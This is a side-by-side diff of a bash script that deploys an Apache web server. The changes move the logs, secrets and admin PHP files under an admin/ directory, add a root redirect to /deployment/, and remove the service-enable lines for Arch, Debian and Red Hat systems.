sudo chown -R apache:apache "$SERVER_ROOT/logs" sudo chown -R apache:apache "$SERVER_ROOT/admin/logs"
sudo chown -R apache:apache "$SERVER_ROOT/secrets" sudo chown -R apache:apache "$SERVER_ROOT/admin/secrets"
;; ;;
*) *)
# Try to guess the web server user # Try to guess the web server user
if id -u http &>/dev/null; then if id -u http &>/dev/null; then
sudo chown -R http:http "$SERVER_ROOT/logs" sudo chown -R http:http "$SERVER_ROOT/admin/logs"
sudo chown -R http:http "$SERVER_ROOT/secrets" sudo chown -R http:http "$SERVER_ROOT/admin/secrets"
elif id -u www-data &>/dev/null; then elif id -u www-data &>/dev/null; then
sudo chown -R www-data:www-data "$SERVER_ROOT/logs" sudo chown -R www-data:www-data "$SERVER_ROOT/admin/logs"
sudo chown -R www-data:www-data "$SERVER_ROOT/secrets" sudo chown -R www-data:www-data "$SERVER_ROOT/admin/secrets"
elif id -u apache &>/dev/null; then elif id -u apache &>/dev/null; then
sudo chown -R apache:apache "$SERVER_ROOT/logs" sudo chown -R apache:apache "$SERVER_ROOT/admin/logs"
sudo chown -R apache:apache "$SERVER_ROOT/secrets" sudo chown -R apache:apache "$SERVER_ROOT/admin/secrets"
else else
echo "Warning: Could not determine web server user. Setting default permissions." echo "Warning: Could not determine web server user. Setting default permissions."
fi fi
;; ;;
esac esac
sudo chmod 750 "$SERVER_ROOT/logs" sudo chmod 750 "$SERVER_ROOT/admin/logs"
sudo chmod 750 "$SERVER_ROOT/secrets" sudo chmod 750 "$SERVER_ROOT/admin/secrets"
# Copy web files # Copy web files
copy_web_files copy_web_files
@@ -55,14 +55,14 @@ copy_web_files() {
# Update configurations in files # Update configurations in files
sudo sed -i "s/TOKEN_PLACEHOLDER/$SECRET_TOKEN/g" "$SERVER_ROOT/log_receiver.php" sudo sed -i "s/TOKEN_PLACEHOLDER/$SECRET_TOKEN/g" "$SERVER_ROOT/log_receiver.php"
sudo sed -i "s/ADMIN_PASSWORD_PLACEHOLDER/$ADMIN_PASSWORD/g" "$SERVER_ROOT/admin.php" sudo sed -i "s/ADMIN_PASSWORD_PLACEHOLDER/$ADMIN_PASSWORD/g" "$SERVER_ROOT/admin/admin.php"
# Update Server IP in the HTML files # Update Server IP in the HTML files
sudo sed -i "s/SERVER_IP/$SERVER_IP/g" "$SERVER_ROOT/index.html" sudo sed -i "s/SERVER_IP/$SERVER_IP/g" "$SERVER_ROOT/index.html"
sudo sed -i "s/SERVER_IP/$SERVER_IP/g" "$SERVER_ROOT/admin.php" sudo sed -i "s/SERVER_IP/$SERVER_IP/g" "$SERVER_ROOT/admin/admin.php"
# Set proper permissions # Set proper permissions
sudo chmod 644 "$SERVER_ROOT/admin.php" sudo chmod 644 "$SERVER_ROOT/admin/admin.php"
sudo chmod 644 "$SERVER_ROOT/log_receiver.php" sudo chmod 644 "$SERVER_ROOT/log_receiver.php"
} }
configure_webserver() { configure_webserver() {
@@ -91,6 +91,7 @@ configure_apache_arch() {
ServerAdmin webmaster@localhost ServerAdmin webmaster@localhost
DocumentRoot "/srv/http" DocumentRoot "/srv/http"
DirectoryIndex index.html DirectoryIndex index.html
RedirectMatch 301 ^/$ http://$SERVER_IP/deployment/
<Directory "$SERVER_ROOT"> <Directory "$SERVER_ROOT">
Options -Indexes +FollowSymLinks Options -Indexes +FollowSymLinks
@@ -98,11 +99,11 @@ configure_apache_arch() {
Require all granted Require all granted
</Directory> </Directory>
<Directory "$SERVER_ROOT/logs"> <Directory "$SERVER_ROOT/admin/logs">
Require all denied Require all denied
</Directory> </Directory>
<Directory "$SERVER_ROOT/secrets"> <Directory "$SERVER_ROOT/admin/secrets">
Require all denied Require all denied
</Directory> </Directory>
@@ -119,7 +120,6 @@ EOF
fi fi
# Start/restart Apache # Start/restart Apache
sudo systemctl enable httpd
sudo systemctl restart httpd sudo systemctl restart httpd
} }
@@ -131,6 +131,7 @@ configure_apache_debian() {
ServerAdmin webmaster@localhost ServerAdmin webmaster@localhost
DocumentRoot "/var/www/html" DocumentRoot "/var/www/html"
DirectoryIndex index.html DirectoryIndex index.html
RedirectMatch 301 ^/$ http://$SERVER_IP/deployment/
Alias /deployment $SERVER_ROOT Alias /deployment $SERVER_ROOT
@@ -140,11 +141,11 @@ configure_apache_debian() {
Require all granted Require all granted
</Directory> </Directory>
<Directory "$SERVER_ROOT/logs"> <Directory "$SERVER_ROOT/admin/logs">
Require all denied Require all denied
</Directory> </Directory>
<Directory "$SERVER_ROOT/secrets"> <Directory "$SERVER_ROOT/admin/secrets">
Require all denied Require all denied
</Directory> </Directory>
@@ -157,7 +158,6 @@ EOF
sudo a2ensite deployment sudo a2ensite deployment
# Start/restart Apache # Start/restart Apache
sudo systemctl enable apache2
sudo systemctl restart apache2 sudo systemctl restart apache2
} }
@@ -169,6 +169,7 @@ configure_apache_redhat() {
ServerAdmin webmaster@localhost ServerAdmin webmaster@localhost
DocumentRoot "/var/www/html" DocumentRoot "/var/www/html"
DirectoryIndex index.html DirectoryIndex index.html
RedirectMatch 301 ^/$ http://$SERVER_IP/deployment/
Alias /deployment $SERVER_ROOT Alias /deployment $SERVER_ROOT
@@ -178,11 +179,11 @@ configure_apache_redhat() {
Require all granted Require all granted
</Directory> </Directory>
<Directory "$SERVER_ROOT/logs"> <Directory "$SERVER_ROOT/admin/logs">
Require all denied Require all denied
</Directory> </Directory>
<Directory "$SERVER_ROOT/secrets"> <Directory "$SERVER_ROOT/admin/secrets">
Require all denied Require all denied
</Directory> </Directory>
@@ -194,6 +195,5 @@ EOF
sudo mv "$TEMP_DIR/deployment.conf" /etc/httpd/conf.d/deployment.conf sudo mv "$TEMP_DIR/deployment.conf" /etc/httpd/conf.d/deployment.conf
# Start/restart Apache # Start/restart Apache
sudo systemctl enable httpd
sudo systemctl restart httpd sudo systemctl restart httpd
} }